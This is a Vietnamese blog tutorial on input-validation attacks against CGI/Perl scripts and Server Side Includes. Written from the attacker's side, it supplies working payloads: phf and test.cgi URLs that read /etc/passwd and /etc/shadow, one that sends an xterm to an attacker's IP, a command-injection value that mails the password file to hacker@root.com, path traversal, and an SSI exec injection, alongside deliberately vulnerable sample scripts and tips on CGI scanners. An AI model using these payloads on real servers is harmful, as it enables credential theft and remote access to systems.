Tìm hiểu về "Tấn công bằng phê chuẩn đầu vào"
Giới thiệu
http://ww.target.com/cgi-bin/test.cgi?test%0acat%20/etc/passwd -> lấy danh sách userid + mật khẩu
http://www.target.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/password -> lấy danh sách userid + mật khẩu
http://www.target.com/cgi-bin/phf?Qalias=x%0a/bin/xterm%20-display%2020172.29.11.207:0.0%20& -> hiển thị xterm trên màn hình của kẻ tấn công.Bạn có muốn biết tại sao không? Tôi sẽ chỉ rõ cho bạn trong bài viết này!
Phân tích
Phê chuẩn đầu vào là gì?
Phê chuẩn đầu vào nghĩa là kẻ tấn công sẽ cố chuyển các dữ liệu nguy hiểm cho các kịch bản - script, chủ yếu là các kịch bản .cgi, .pl dễ bị tổn thương như là đầu vào cho các kịch bản này xử lí. Mà thật ra đó chính là những câu lệnh khai thác hệ thống! Một trong những lệnh phổ biến là lấy file /etc/password!
Kịch bản cgi không an toàn!
CGI là chữ viết tắc của "Common Gateway Interface". Các kịch bản CGI được thi hành trực tiếp trên máy chủ, sau đó trả kết quả trở lại cho máy khách! Các kịch bản CGI được viết bằng nhiều ngôn ngữ, nhưng thường thì được viết bằng Perl nên cụm từ "CGI script" ~ "Perl script"!
Bây giờ chúng ta hãy xem xét ví dụ khai thác kịch bản cgi sau:
Giả sử có một trang web(vuln1.html) nhận các thông tin phản hồi của người dùng. Khi người dùng bấm nút <Submit>, lập tức các thông tin này sẽ được gởi đến địa chỉ email của webmaster. Đây là mã nguồn html của vuln1.html:
<html>
Thankyou for visiting my site. Please submit your comments and suggestions
here:
<br>
<form action="/cgi-bin/vuln1.pl" method="GET">
<input type="hidden" name="address" value="webmaster@vulnerable.com">
<textarea name="comments" rows=10 cols=40></textarea>
<br>
<input type="submit">
</form>
</html>Và đây là nội dung của file vuln1.pl:
#!/usr/bin/perl
# thông tin xuất sẽ là một trang html
print "Content-type: text/html\n\n";
#nhận các thông tin từ form và chuyển vào mảng @pairs
@pairs = split(/&/, $ENV{'QUERY_STRING'});
# lặp lại cho mỗi cặp giá trị name/value trong mảng
foreach $pair (@pairs) {
# chia cặp giá trị này vào hai biến riêng
($name, $value) = split(/=/, $pair);
# decode các dữ liệu
$name =~ tr/+/ /;
$name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
# lưu địa chỉ email và comments in vào các biến
if ($name eq "address") { # lưu địa chỉ email
$address = $value;
} elsif ($name eq "comments") { # lưu comments
$comments = $value;
}
}
# tại điểm này, $address sẽ chứa địa chỉ đã được nhập vào trong form, và
# $comments sẽ chứa comments do người dùng nhập vào.
# --- phần "Quan trọng"
# phần này sẽ được phân tích chi tiết
open(MAIL,"| /bin/mail $address");
print MAIL "$comments";
close(MAIL);
# --- kết thúc phần "Quan trọng"
# in kết quả - output cho người dùng
print <<EOT;
<html>
Thanks for your comments :)
</html>
EOTBạn hãy chú ý đến phần "Quan trọng"! Trong Perl, hàm open được dùng để mở một file, ở đây là một ống dẫn - pipe đến lệnh "/bin/mail webmaster@vulnerable.com". Tuy nhiên, nếu bây giờ một kẻ tấn công nào đó copy trang vuln1.html để tạo một trang web mới với nội dung thay đổi một chút xíu. Hai dòng:
<form action="/cgi-bin/vuln1.pl" method="GET">
<input type="hidden" name="address" value="webmaster@vulnerable.com">sẽ được sửa lại thành:
<form action="http://www.vulnerable.com/cgi-bin/vuln1.pl" method="GET">
<input type="hidden" name="address" value="hacker@root.com">Lập tức bây giờ, mọi comments sẽ được mail đến hắn ta!
Chuyện gì sẽ xảy ra nếu hắn sửa đổi thêm một chút nữa:
value="hacker@root.com;mail hacker@root.com < /etc/passwd"
Okay, bây giờ thì hắn đã có file password trong hòm thư của hắn rồi đó!
Các kí tự meta
Một số kịch bản cgi sẽ lọc các kí tự | hoặc kí tự \n(newline). Kẻ tấn công sẽ chuyển sang dùng các kí tự meta:
%0a -> newline
%20 -> kí tự trắngThử lại với:
value="hacker@root.comm%0amail%20hacker@root.com%20<%20/etc/passwd"
Yeah! Đã thành công!
- Khai thác test.cgi
Kịch bản test.cgi được cài mặc định trên nhiều máy chủ. Nó được dùng để kiểm tra xem CGI có hoạt động tốt hay không. Nó thường chạy ở đặc quyền root! Sau đây là nội dung của file test.cgi:
#!/usr/bin/perl
print "Content-type: text/html\n\n";
open(FILE,"$ENV{'QUERY_STRING'}");
@FILE=;
close FILE;
foreach $line(@FILE){
print "$line";
}
exit;test.cgi nhận tham số thứ nhất là tên file cần mở. Sau đó nó sẽ output ra màn hình của client nội dung của file này. Điều gì sẽ xảy ra nếu ta đưa vào tham số thứ nhất là /etc/password hoặc index.html, ... Chúng ta sẽ có được nội dung của các file này! Hãy xem...
http://www.somesite.com/test.cgi?index.html
http://www.somesite.com/test.cgi?/etc/shadowBạn hãy để ý, home directory thường là /home/httpd/ nên để lấy được file mật khẩu shadow, chúng ta phải dùng thêm dấu ../(lên trên một cấp thư mục):
http://www.somesite.com/test.cgi?../../etc/shadow
Chắc bạn hiểu được chứ!
SSI không an toàn!
SSI, viết tắc của "Server Side Includes". Đây là các chỉ dẫn được đặt trong các file html. Server sẽ chịu trách nhiệm phân tích các chỉ dẫn này và sẽ chuyển kết quả cho client. Các file html này thường có đuôi là .sthml. Điều này tùy thuộc vào phần setup của server.
Mọi chỉ dẫn SSI được chèn vào file .shtml đều có dạng như sau:
<!--#"<thẻ><khoảng trắng><các tham số>[<khoảng trắng>]"-->
Đây là các ví dụ:
<!--#echo var="DATE_GMT" --> in ra thời gian hiện tại
<!--#include virtual="/ssi/header.html" --> gộp file tiêu đề header.html vào trang
<!--#exec cmd="uptime" --> hiển thị thời gian uptime của hệ thốngSau đây là một ví dụ đơn giản về một trang guestbook có dùng SSI dễ bị tổn thương!
file vuln2.html
<html>
<!--#include virtual="/ssi/header.html" -->
Thankyou for visiting my site. Please submit your comments and suggestions
here:
<br>
<form action="/cgi-bin/vuln2.pl" method="GET">
<textarea name="comments" rows=10 cols=40></textarea>
<br>
<input type="submit">
</form>
<hr>
Here's what other people have had to say:
<hr>
<!--begin-->
<!--#include virtual="/ssi/footer.html" -->
</html>file vuln2.pl
#!/usr/bin/perl
# chỉ định địa chỉ của trang sẽ được cập nhập
# hãy thay đổi lại đường dẫn của vuln2.shtml
$pagename = "/home/web/html/vuln2.shtml";
# in ra content-type header
print "Content-type: text/html\n\n";
# chuyển các thông tin nhận được từ form vào mảng@pairs
@pairs = split(/&/, $ENV{'QUERY_STRING'});
# với mỗi cặp giá trị name/value trong mảng
foreach $pair (@pairs) {
# chia mảng này vào 2 biến
($name, $value) = split(/=/, $pair);
# đecode các dữ liệu
$name =~ tr/+/ /;
$name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
$value =~ tr/+/ /;
$value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
# lưu comments vào biến
if ($name eq "comments") { # lưu comments
$comments = $value;
}
}
# tại điểm này, $comments sẽ chứa comments mà người dùng đã nhập vào.
# chia các comment trong output file
$comments .= "\n<hr>\n";
# --- phần "Quan trọng"
# mở file để đọc/ghi
open(FILE,"+<$pagename") || (print("Cannot open file!\n") && exit);
# khóa file này để các tiến trình khác không mở được nó
flock(FILE, 2);
# đọc nội dung file vào mảng @list
@list = <FILE>;
# tìm kiếm trong mảng và chèn comments vào trước dòng
# <!--begin-->
$linenum = 1;
foreach $line (@list) {
if ($line =~ /^<!--begin-->/) {
$linenum--;
splice(@list, $linenum, 0, $comments);
last;
}
$linenum++;
}
# viết mảng trở lại file
seek(FILE,0,0);
truncate(FILE,0);
foreach $line (@list) {
print FILE $line;
}
# đóng file
close(FILE);
# --- kết thúc phần "Quan trọng"
# in kết quả cho người dùng
print <<EOT;
<html>
Thanks for your comments. Click <a href="/vuln2.shtml">here</a> to
return to the comments page :)
</html>
EOTKịch bản trên chảng kiểm tra các thông tin đầu vào!? Kẻ tấn công sẽ lợi dụng lỗ hỏng này và chèn dòng sau vào trong hộp comments:
<!--#exec cmd="cat /etc/passwd" -->
Okay, sau khi vuln2.pl xử lí xong, hắn sẽ nhận được nội dung của file password trong trang web! Bởi vì SSL đã được enable nên dòng <!--#exec cmd="cat /etc/passwd" --> mà vuln.pl chèn vào vuln2.shtml sẽ được thi hành. Kết quả là nội dung của file passwd sẽ được hiển thị nếu như vuln2.shtml được chạy ở đặc quyền root!
Ghi chú
Để có thể test thử file vuln2.shtml, bạn phải đặt quyền cho nó là 777:
#> chmod vuln2.shtml 777
Các công cụ quét .cgi
Có 2 công cụ rất dễ dùng, cho phép bạn quét qua danh sách các kịch bản cgi dẽ bị tổn thương! Đó là CGI Vulnerability Scan của Wang Products và VoidEye CGI scanner của void@void.ru. Cả hai đều chạy trên nền Win32, cho phép dùng proxy và cập nhập thêm vào danh sách các kịch bản cgi! Riêng VoidEye CGI scanner có giao diện 3D rất thân thiện. Bạn có thể download hai chương trình này trong mục "Công cụ"
Nếu bạn đang dùng Linux, bạn có thể download về các kịch bản quét .cgi rất mạnh sau: cgiscan.c + cgichk.c
Qua bài viết này, tôi hi vọng bạn sẽ hiểu rõ hơn về "Tấn công bằng phê chuẩn đầu vào là như thế nào"?! Chúc bạn vui vẻ!
0 nhận xét:
Đăng nhận xét